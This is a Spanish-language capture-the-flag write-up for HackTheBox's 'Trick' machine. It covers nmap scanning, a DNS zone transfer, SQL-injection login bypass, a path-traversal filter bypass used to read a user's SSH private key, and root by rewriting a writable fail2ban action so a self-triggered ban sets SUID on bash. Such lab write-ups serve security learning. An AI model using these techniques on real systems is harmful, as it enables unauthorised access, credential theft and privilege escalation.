Inicio Trick Writeup
Entrada
Cancelar

Trick Writeup

10.10.11.166 Trick (easy machine) vengo a traer otra guía para la maquina trick de HackTheBox tocando y explicando acerca del ataque de transferencia de zona, una de las vulnerabilides presentes en los servicios DNS donde podrmemos aprovecharnos de ello para hacer transacciones entre los dominion que se lleguen a emplear, con una técnica de bypassing en un LFI Directory Path Traversal

Information Ghatering / ScanPorts

  • Comenzaremos haciendo una fase de descubirmiento con nmap para apreciar servicios y versiones que emplea la máquina objetivo.
1
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.166 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre desprotegida o carezca de un firewall, no termina la conexión TCP/SYN - Envias un SYN - Recibes un SYN/ACK - Envias ResetPacket

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.166 -oG allPorts 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 18:48 CST
Initiating SYN Stealth Scan at 18:48
Scanning 10.10.11.166 [65535 ports]
Discovered open port 22/tcp on 10.10.11.166
Discovered open port 53/tcp on 10.10.11.166
Discovered open port 25/tcp on 10.10.11.166
Discovered open port 80/tcp on 10.10.11.166
Completed SYN Stealth Scan at 18:48, 20.73s elapsed (65535 total ports)
Nmap scan report for 10.10.11.166
Host is up, received user-set (0.067s latency).
Scanned at 2023-02-07 18:48:37 CST for 21s
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
25/tcp open  smtp    syn-ack ttl 63
53/tcp open  domain  syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.83 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)

me copiaré esos puertos abiertos para analizar servicios y versiones que corren en ellos

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sCV -p22,25,53,80 10.10.11.166 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 18:57 CST
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61ff293b36bd9dacfbde1f56884cae2d (RSA)
|   256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA)
|_  256 7293f91158de34ad12b54b4a7364b970 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.16 seconds

al primer vistazo y buscar mas sobre el puerto 80 que es http, en el sitio web no encontramos nada interesante

imagen 1 web

  • Sin embargo al indagar sobre el sitio web no hay realmente nada interesante, asi que la intrusión dudo que se pueda hacer por ahí, uno de los puertos que me llamó la atención fue el 53, ya que este es utilizado para servicios DNS, este protocolo permite utilizar tanto TCP como UDP para la comunicación con los servidores DNS por lo tanto para hacer un ataque de transferencia de zona tengo que tener el nombre del dominio, asi que ocuparé nslookup nslookup es una herramienta de línea de comandos muy práctica y fácil de usar, cuya función básica es encontrar la dirección IP de un equipo determinado o realizar una búsqueda DNS inversa (es decir, encontrar el nombre de dominio de una determinada dirección IP). apauntaré entonces indicandole la ip del servidor para que posteriormente me resuelva al nombre del dominio

imagen 2

encontramos que es trick.htb, lo que haré es guardarlo en el /etc/hosts con su respectiva ip para que cuando apunte al nombre del dominio me resuelva al sitio,aplicando esta resolución de DNS

imagen 3

Post Explotación

una vez con esto podré iniciar con el ataque de transferencia de zona, el ataque de transferencia de zona es un tipo de transacción DNS (sistema de nombres de dominio, el cual traduce y/o apunta cada dominio a la IP correspondiente) normalmente inducida a través de una consulta tipo “AXFR” para poder replicar bases de datos con registros entre servidores DNS. podremos visualizar con exactitud algun otro subdominio que pueda llegar a emplear

imagen 4

y encontramos un subdominio bastante interesante llamado preprod-payroll.trick.htb posteriormente lo incorporamos de nuevo al /etc/hosts para que me resuelva y apunte al nuevo dominio que acabamos de encontrar

imagen 5

si apuntamos al dominio nuevo que encontramos, vemos un login asi que de primeras se me ocurrio hacer una inyección sql básica

imagen 6

y bueno fue realmente fácil acceder y estar logueados plenamente como administradores, checando mas el sitio web vemos que en la parte superior emplea rutas que estan cotempladas, primeramente se me ocurre derivar un LFI de ahi pero no tenemos exito, sin embargo al usar un wrapper apuntando a una ruta que estan contempladas decodificandolo en base64 en el output de la web si me lo representa, pero si intento apuntar a un archivo local de la máquina como el /etc/passwd no me arroja nada incluso haciendo algunas técnicas de bypassing por si llega a emplear algún WAF que me impida leer archivos internos del servidor

imagen 7

Explotación

asi que esto no me sirve para nada porque solo puedo leer lo mismo que esta en cada sección de la web como es el (home) pero en base64, a este punto se me ocurre hacer un Fuzzing en el subdominio que emplea para descubrir nuevas rutas, me ayudaré de wfuzz para hacer un brute force sobre ese subdominio empleando un diccionario

imagen 8

–hc=404,400 -> ocultamos codigos de erorres

–hh=5480 -> ocultamos carácteres

-t 200 -> 200 hilos para tareas en paralelo

y sustituimos sobre donde queremos hacer el ataque de fuerza bruta, en este caso quitaremos payroll y colocar FUZZ que es propia de wfuzz para sustituir en donde queremos hacer el ataque de fuerza bruta http://preprod-payroll.trick.htb, quedando asi la sintaxis para hosts -H ‘Host: preprod-FUZZ.trick.htb’ http://10.10.11.166

Nota: podemos ver que http://preprod-payroll.trick.htb, la palabra preprod viene de preproducción asi que es probable encontrar mas subdominio que esten contemplando algo similar a lo que acabamos de ver

encontramos la palabra marketing lo que haré es simplmente anexar el nuevo dominio al /etc/hosts

imagen 9

se ve que aun los desarrollader aun no han terminado este sitio web, por lo tanto podemos encontrar mejores cosas. algo muy curioso es volver a ver encontrar las mismas rutas de arriba que apunta

imagen 10

intentando el Local File inclusion(LFI) no vemos nada pero esa ruta puede existir ya que nos muestra vacio el contenido imagen 11

asi que haré alguna tecnica de bypassing en el Path Traversal como nos muestra en el repositorio de PayloadsAllTheThings

Bypass “../” replaced by ““ A veces encuentra un WAF que elimina los caracteres “../” de las cadenas, simplemente duplíquelos.

1
2
..././
...\.\

enviaré la misma petición con la técnica de bypassing pero con curl para mas comodidad, y vemos que tenemos éxito al LFI :D! imagen 12

ahora como el puerto 22(ssh) está abierto podemos ver si el usuario michael tiene una clave id_rsa privada que me permita acceder por ssh imagen 13 y pues bueno efectivamente vemos la clave copiamos, pegamos y le damos permisos 600 para que el propietario solo la pueda escribir y leer y nos autorizo la conexión

imagen 14

Privilege Escalation

si damos sudo -l para ver que permisos de sudoers vemos fail2ban, Fail2ban es una aplicación de Linux que permite evitar accesos no autorizados al servidor. Funciona bloqueando, o baneando, las IP que realicen varios intentos de acceso incorrectos al servidor. Y se trata de una estrategia ideal de seguridad a tener en cuenta tras contratar un Servidor Cloud

1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ 

buscando mas sobre como escalar privilegios en fail2ban vemos que nos menciona unas rutas donde podriamos aprovecharnos de ella

1
find /etc -writable -ls 2>/dev/null

“Aquí encontramos directorios donde tenemos acceso de escritura dentro de los directorios /etc y tenemos acceso de escritura a /etc/fail2ban/action.d” Miremos dentro de /etc/fail2ban/jail.conf para saber más sobre cómo se configura fail2ban

1
2
3
michael@trick:~$ find /etc -writable -ls 2>/dev/null
   269281      4 drwxrwx---   2 root     security     4096 Feb  8 03:30 /etc/fail2ban/action.d
michael@trick:~$ 

analizando el archivo de configuración vemos que si intentamos acceder por ssh nos banea la ip por 10 segundos haciendo uso de 5 intentos

1
2
3
4
5
michael@trick:~$ cat /etc/fail2ban/jail.conf | grep -v "^#" | less
ignorecommand =
bantime  = 10s
findtime  = 10s
maxretry = 5

Para la escalada de privilegios, intentaremos 5 intentos fallidos con ssh para conectarnos al servidor para que podamos ser baneados y dentro de /etc/fail2ban/action.d hay un archivo de configuración iptables-multiport.conf donde podemos escribir reglas y Comandos actionstart,actionstop,actioncheck, actionban , actionunban.así que cuando nos baneen y los comandos dentro de actionban se ejecutarán.

1
2
3
michael@trick:/etc/fail2ban/action.d$ ls -la iptables-multiport.conf 
-rw-r--r-- 1 root root 1420 Feb  8 03:45 iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ 

Solo la raíz tiene acceso de escritura al archivo, ahora cambiamos el nombre de iptables-multiport.conf con iptables-multiport.conf.bak y luego copiamos iptables-multiport.conf.bak a iptables-multiport.conf para que se cambie el propietario del archivo. por lo tanto haré moveré del original a una copia y después crearé una copia pasandolo al original para que me den permisos de escribir en ello

1
2
3
4
5
michael@trick:/etc/fail2ban/action.d$ ls -la iptables-multiport.conf 
-rw-r--r-- 1 root root 1420 Feb  8 03:48 iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables-multiport.bak
michael@trick:/etc/fail2ban/action.d$ cp iptables-multiport.bak iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ nano iptables-multiport.conf

editamos el archivo iptables-multiport.conf cambiandole los comandos de iptablespor permisos SUID a la bash (como dicho servicio corre como root al banearme tendré permisos solo para ejecutar bash en privilege y ser root)

imagen 15

una vez ejecutado procederé a restablecer el servicio

1
2
3
4
5
6
7
8
michael@trick:/etc/fail2ban/action.d$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

ahora con ayuda de hydra haré un ataque de fuerza bruta para que al proposito me banee y con watch cada segundo visualizaré los permisos de la bash

imagen 16

imagen 17

después de unos segundos que nos bloquee por los intentos tenemos SUID a la bash solo con poner bash -p ya estaríamos como root y otra máquina mas completada:) !!

imagen 18

Esta entrada está licenciada bajo CC BY 4.0 por el autor.